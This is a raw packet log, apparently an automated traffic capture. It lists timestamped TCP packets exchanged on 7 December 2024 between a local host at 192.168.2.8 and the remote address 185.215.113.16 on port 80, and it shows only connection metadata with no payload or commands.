Dec 7, 2024 15:06:59.176932096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.176975965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.177908897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.177958965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.178041935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.178086996 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.178929090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.178977966 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.179056883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.179104090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.180114031 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.180128098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.180162907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.180179119 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.181096077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.181148052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.181205988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.181262970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.182168007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.182219982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.182320118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.182363033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.183237076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.183303118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.183362007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.183413982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.184336901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.184396982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.184452057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.184499025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.185383081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.185436010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.185498953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.185553074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.186455965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.186510086 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.186569929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.186611891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.187536001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.187587976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.187617064 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.187665939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.188586950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.188635111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.188704967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.188747883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.189656973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.189719915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.189862967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.189914942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.190728903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.190788984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.190830946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.190886021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.191828966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.191896915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.191945076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.191999912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.192894936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.192955971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.193042040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.193092108 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.194019079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.194097042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.194159985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.194210052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.195091009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.195151091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.195151091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.195190907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.196106911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.196165085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.196216106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.196264982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.197220087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.197287083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.197302103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.197345972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.198266983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.198328972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.198359966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.198410034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.199343920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.199404955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.199454069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.199502945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.200428963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.200486898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.200496912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.200539112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.201585054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.201643944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.201668978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.201708078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.202603102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.202661991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.202692986 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.202739954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.203680038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.203739882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.316370010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.316500902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.316554070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.316601038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.316966057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.316977024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.317013025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.317034006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.318002939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.318022966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.318054914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.318070889 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.319109917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.319184065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.342935085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.343060017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.343097925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.343152046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.343344927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.343398094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.343427896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.343480110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.344362020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.344419003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.344517946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.344568968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.345448017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.345462084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.345495939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.345514059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.346575975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.346597910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.346627951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.346649885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.347603083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.347650051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.347695112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.347744942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.348634958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.348689079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.348748922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.348804951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.349775076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.349828005 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.349881887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.349936962 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.350837946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.350892067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.350971937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.351026058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.351901054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.351959944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.351967096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.352011919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.352972984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.353024960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.353049040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.353092909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.354087114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.354140997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.354199886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.354247093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.355210066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.355261087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.355294943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.355340958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.356201887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.356254101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.356324911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.356370926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.357276917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.357330084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.357355118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.357400894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.358341932 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.358355999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.358392954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.358407021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.359426022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.359482050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.359514952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.359564066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.360465050 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.360518932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.360555887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.360609055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.361588955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.361665010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.361670971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.361715078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.362626076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.362689018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.362721920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.362765074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.363708019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.363765001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.363874912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.363923073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.364818096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.364875078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.364902973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.364945889 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.365915060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.365967989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.365987062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.366029978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.366982937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.367039919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.367116928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.367165089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.368063927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.368119955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.368160963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.368211985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.369143963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.369189024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.369194031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.369230986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.370184898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.370237112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.370270014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.370313883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.371241093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.371294975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.371346951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.371393919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.372339964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.372353077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.372402906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.373414993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.373428106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.373486042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.374432087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.374497890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.374591112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.374640942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.375510931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.375566006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.375664949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.375715971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.376586914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.376641989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.376724005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.376771927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.377662897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.377716064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.377779961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.377829075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.378809929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.378870010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.379107952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.379158974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.379808903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.379868031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.380009890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.380059958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.380887985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.380938053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.380975008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.381020069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.381998062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.382028103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.382052898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.382066965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.383029938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.383085012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.383172035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.383219004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.384077072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.384131908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.384229898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.384280920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.385243893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.385297060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.385360003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.385406971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.386303902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.386360884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.386396885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.386445999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.387332916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.387388945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.387398005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.387440920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.388624907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.388674021 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.388676882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.388715982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.389460087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.389511108 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.389578104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.389626026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.390583038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.390635014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.390925884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.390974045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.391643047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.391694069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.391855955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.391905069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.392729044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.392812967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.392901897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.392954111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.393938065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.393951893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.393995047 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.394915104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.394968987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.395004988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.395050049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.509844065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.509862900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.509974957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.510227919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.510279894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.511176109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.511224031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.511347055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.511393070 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.511487007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.511524916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.512375116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.512422085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.549822092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.549860954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.549897909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.549931049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.550271034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.550335884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.550386906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.550421953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.551059008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.551100969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.551219940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.551261902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.552129030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.552167892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.552238941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.552282095 CET	49740	80	192.168.2.8	185.215.113.16
